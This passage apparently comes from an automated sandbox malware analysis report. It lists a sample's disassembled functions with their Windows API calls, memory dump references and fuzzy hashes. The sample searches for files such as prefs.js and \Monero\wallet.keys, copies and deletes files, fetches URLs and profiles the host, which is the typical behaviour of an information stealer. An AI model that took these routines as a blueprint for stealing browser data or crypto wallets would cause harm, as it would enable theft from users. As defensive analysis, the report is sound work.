FindNextFileA.KERNELBASE(000000FF,?), ref: 0012F8F1
FindClose.KERNEL32(000000FF), ref: 0012F903

Strings

prefs.js, xrefs: 0012F652

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: ac71c944f2d79cc0b11afcd818e35964ff9852e262980bfb2ce5f0f4b57fab63
Instruction ID: 5ee61f402def43288cc59569c784c6fb613e6bbb0636131952ae096fbab2d50b
Opcode Fuzzy Hash: ac71c944f2d79cc0b11afcd818e35964ff9852e262980bfb2ce5f0f4b57fab63
Instruction Fuzzy Hash: A7B145719002189BCB24FF60DC56FEE7779AF65300F4085A8E84A5B151EF31AB59CF92

Function 00121710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0014500C,?,?,?,001450B4,?,?,00000000,?,00000000), ref: 00121963
StrCmpCA.SHLWAPI(?,0014515C), ref: 001219B3
StrCmpCA.SHLWAPI(?,00145204), ref: 001219C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00121D80
DeleteFileA.KERNEL32(00000000), ref: 00121E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00121E60
FindClose.KERNEL32(000000FF), ref: 00121E72

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Strings

\*.*, xrefs: 00121831

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 0ea01539eb2e72f8c6aae9536262284e17a94de51ed88b1ed37b135048ca038e
Instruction ID: f3c23a796eee3b77f3286583ede58e740b206c78c10c67bc7b2df61ac93c74d2
Opcode Fuzzy Hash: 0ea01539eb2e72f8c6aae9536262284e17a94de51ed88b1ed37b135048ca038e
Instruction Fuzzy Hash: D412BF71910118ABCB19FB60DC96EFE737CAF64300F804599B54B66091EF716B88CFA2

Function 0012D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00141454,00140B96), ref: 0012D92B
StrCmpCA.SHLWAPI(?,00141458), ref: 0012D973
StrCmpCA.SHLWAPI(?,0014145C), ref: 0012D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0012DC0C
FindClose.KERNEL32(000000FF), ref: 0012DC1E

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: f619b319b2973984bfa82636f8016bdee8f5f53d6c3f5a200616c36acd2985ad
Instruction ID: d281cac34cfd88f49c0836f63007e01624c4bb86d722b3ad3b70463fd8e8fba6
Opcode Fuzzy Hash: f619b319b2973984bfa82636f8016bdee8f5f53d6c3f5a200616c36acd2985ad
Instruction Fuzzy Hash: 66913272900214ABCB14FB70EC56DED777DAFA5300F408668F94A96191EF34AB5C8B92

Function 00137630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

GetKeyboardLayoutList.USER32(00000000,00000000,0014059F), ref: 00137681
LocalAlloc.KERNEL32(00000040,?), ref: 00137699
GetKeyboardLayoutList.USER32(?,00000000), ref: 001376AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00137702
LocalFree.KERNEL32(00000000), ref: 001377C2

Strings

/ , xrefs: 0013771F

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 4c8657f45c18d84a74511dab978d53b7c1a209cbe30fcc44888b26aa6a3ac22f
Instruction ID: 711d6378fc92b4af82dba6cdeac3de1351c002af85ef5b41e2c717908c4ea66a
Opcode Fuzzy Hash: 4c8657f45c18d84a74511dab978d53b7c1a209cbe30fcc44888b26aa6a3ac22f
Instruction Fuzzy Hash: 23415CB1940218ABCB24DB94DC99FEEB778FF58700F6041D9E10A66191DB746F88CFA1

Function 00125000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0012501A
RtlAllocateHeap.NTDLL(00000000), ref: 00125021
InternetOpenA.WININET(00140DC7,00000000,00000000,00000000,00000000), ref: 0012503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00125061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00125091
InternetCloseHandle.WININET(?), ref: 00125109
InternetCloseHandle.WININET(?), ref: 00125116

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: cb2a2af063b2e9cb435ad671c827224a2965df901350df6d14cf6c5a53563766
Instruction ID: c87819f4a179f452de79401bfa207b63ed7ef855add407a6c376093f25f801e1
Opcode Fuzzy Hash: cb2a2af063b2e9cb435ad671c827224a2965df901350df6d14cf6c5a53563766
Instruction Fuzzy Hash: 1D312DB4A00218ABDB64CF54DC85BDDB7B5BB48304F5081D9FB09A7280DB706EC58F98

Function 0012E270 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00140C1F), ref: 0012E2E2
StrCmpCA.SHLWAPI(?,0014149C), ref: 0012E332
StrCmpCA.SHLWAPI(?,001414A0), ref: 0012E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0012EA1F

Strings

\*.*, xrefs: 0012E28D

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 6906cc00ba1cb3558a369d6ceb7439b18728955cef3f28ece968ddec9d5d05fa
Instruction ID: 17d449eb157986110ec48934d20e23c31923dae859433a76d160f789e4a09033
Opcode Fuzzy Hash: 6906cc00ba1cb3558a369d6ceb7439b18728955cef3f28ece968ddec9d5d05fa
Instruction Fuzzy Hash: CE12E0719101189BCB19FB60DC96EEE737DAF64300F8045A9B54B66092EF746F88CF92

Function 001390A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001390BE
Process32First.KERNEL32(00140AB3,00000128), ref: 001390D2
Process32Next.KERNEL32(00140AB3,00000128), ref: 001390E7
StrCmpCA.SHLWAPI(?,00000000), ref: 001390FC
CloseHandle.KERNEL32(00140AB3), ref: 0013911A

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 3d64f570c5d374f98e09e92ada0f47f5f6ca60b192992326aa2694c07fe6d872
Instruction ID: 1b2cdb038b9c053b6567273984bf42147a79603696096c595f0df9dd38f5b771
Opcode Fuzzy Hash: 3d64f570c5d374f98e09e92ada0f47f5f6ca60b192992326aa2694c07fe6d872
Instruction Fuzzy Hash: 43011E79A10208EBDB15DFA4DD89BDDBBF8AF08700F104188E509AB240DB75AB44DF50

Function 001374D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,011FDE98,00000000,?,00140DE0,00000000,?,00000000,00000000), ref: 00137503
RtlAllocateHeap.NTDLL(00000000), ref: 0013750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,011FDE98,00000000,?,00140DE0,00000000,?,00000000,00000000,?), ref: 0013751D
wsprintfA.USER32 ref: 00137557

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 2ef2c5ccf4623c4197a931a14c59e7d3d78c4d82479982c7ef27f74c3ee1109b
Instruction ID: 32890752690ae0b59ce4f1ec5585c9d90ecce3dda276a8ce6be4d8f48cabb8db
Opcode Fuzzy Hash: 2ef2c5ccf4623c4197a931a14c59e7d3d78c4d82479982c7ef27f74c3ee1109b
Instruction Fuzzy Hash: 1511ADB1E05218EBEB24CB54DC49FA9BB7CFB05721F104399FA0A972D0CB746A44CB90

